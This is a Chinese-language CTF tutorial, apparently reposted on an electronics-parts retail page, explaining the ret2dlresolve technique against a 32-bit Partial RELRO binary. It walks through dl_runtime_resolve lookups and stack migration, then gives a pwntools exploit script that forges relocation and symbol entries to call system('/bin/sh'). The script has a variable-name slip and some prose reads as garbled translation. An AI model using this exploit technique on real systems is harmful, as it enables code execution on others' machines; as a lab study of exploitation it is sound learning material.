资讯详情

ret2dlresolve(2)

ret2dlresolve(2)

在ret2dlresolve(1)中闭Partial RELRO保护,因此能够对.dynamic修改,从而改变dynamic中dynstr通过伪造一个地址dynstr实现将函数write链接到system函数 那么如果打开了Partial RELRO如何进行保护

代码仍然是以前的代码,编译如下

gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32 

你也可以继续关闭它Partial RELRO程序应该改变执行的想法system

dlresolve前后过程

在调用dl_runtime_resolve在函数之前,需要压入两个参数

  • reloc_arg,函数自己plt中push该函数的内容在.rel.plt的偏移 在这里插入图片描述
  • link_map,公共plt表项,在plt开始push的参数 以setuf以第一次调用为例 第一,第一jmp判断函数是否有链接,如果有,就会到达got表面执行,如果没有,就向下执行 push 0,就是传入dl_runtime_resolve的参数reloc_arg,接着跳转到plt第二个在开始处执行push 这里压入的是参数link_map,地址被压入

通过link_map能够找到.dynamic的地址

这两个参数都可以控制,一个是控制reloc_arg函数可以修改.rel.plt执行伪造值的位置,二是控制link_map指向地址,在地址上伪造数据,并将.dynstr地址修改后,与前一篇文章相同(第二篇文章仍在测试中)

先来看修改reloc_arg的意义何在 还是上面的setbuf,他传入的reloc_arg是0,所以程序会在.rel.plt 找到相应的重定位表 得到两个值,第一个值是函数got表地址,第二个值是.dynsym的偏移 通过定位到dynsym表项内容可以找到函数的符号定义,即定位.dynstr相应的位置。

这里的计算 1、根据reloc_arg定位到setbuf的重定位表0x8048330 setbuf804重定位表项A00Ch, 107h这两个值,第二个0x107 0x107分有两个部分,前一个字节是0111,应该是某个标志位,具体对应什么不知道 后两个字节0001000 -> 0x10就是在.dynsym中的偏移 2.然后根据偏移找到表项,其中有几个值。这取决于第一个的意义 offset aSetbuf - offset byte_8048278是对.dynstr中的偏移,0x33 3.通过偏移.dynstr找到函数的符号setbuf

整个过程(来大佬图)

利用

在这里,目标非常明确,修改reloc_arg在重定位表项中修改动态符号表,即指向自己定义的重定位表项.dynsym偏移使其能够指向自己定义的符号地址

需要注意的是,栈迁移应该先进行。如果直接在原栈上操作,会出现很多莫名其妙的问题。我试图不迁移栈。在测试和修改动态符号表时,我输入的数据没有达到我预期的位置。后来我了解到缓冲区大小不够,导致后面写的 数据跑到前面,所以还是要进行栈迁移。 至于迁移到那里,只需选择一个可写且未占用的位置

exp

from pwn import * #context.log_level="debug" context.arch="i386" p = process("./main32") rop = ROP("./main32") elf = ELF("./main32")   p.recvline()  def debug():  gdb.attach(p)  pause()  offset = 92  rop.raw(offset*'a') #栈迁移 base_adr = 0x0804a340
rop.read(0, base_addr, 100)
rop.migrate(base_addr)
p.sendline(rop.chain())

rop = ROP("./main32")

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


write_reloc_addr = base_addr + 24
write_dynsym_addr = write_reloc_addr + 0x10
system_addr = write_dynsym_addr + 0x10
print(hex(dynsym))
print(hex(write_dynsym_addr))

write_reloc = flat([0x804A01C, (((write_dynsym_addr - dynsym) & 0xfff0) << 4) + 7])
#write_reloc = flat([0x804A01C, 0x607])
print(hex((((write_dynsym_addr - dynstr) & 0xfff0) << 4) + 7))
write_dynsym = flat([system_addr + 0x8 - dynstr, 0, 0, 0x12])
#write_dynsym = flat([0x4c, 0, 0, 0x12])
print("write_dynsym:" + hex(write_dynsym_addr))
print("system_addr:" + hex(system_addr))

rop.raw(plt0) #4
rop.raw(write_reloc_addr - rel_plt)
rop.raw(elf.sym['main']) 
rop.raw(system_addr)
rop.raw(1)
rop.raw(1)
rop.raw(write_reloc)
rop.raw('a' * 8)
rop.raw(write_dynsym)
print(system_addr - base_addr)
print(len(rop.chain()))
rop.raw('/bin/sh\x00')
rop.raw('system\x00')
p.sendline(rop.chain())

p.interactive()

标签: 107h胆电容

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台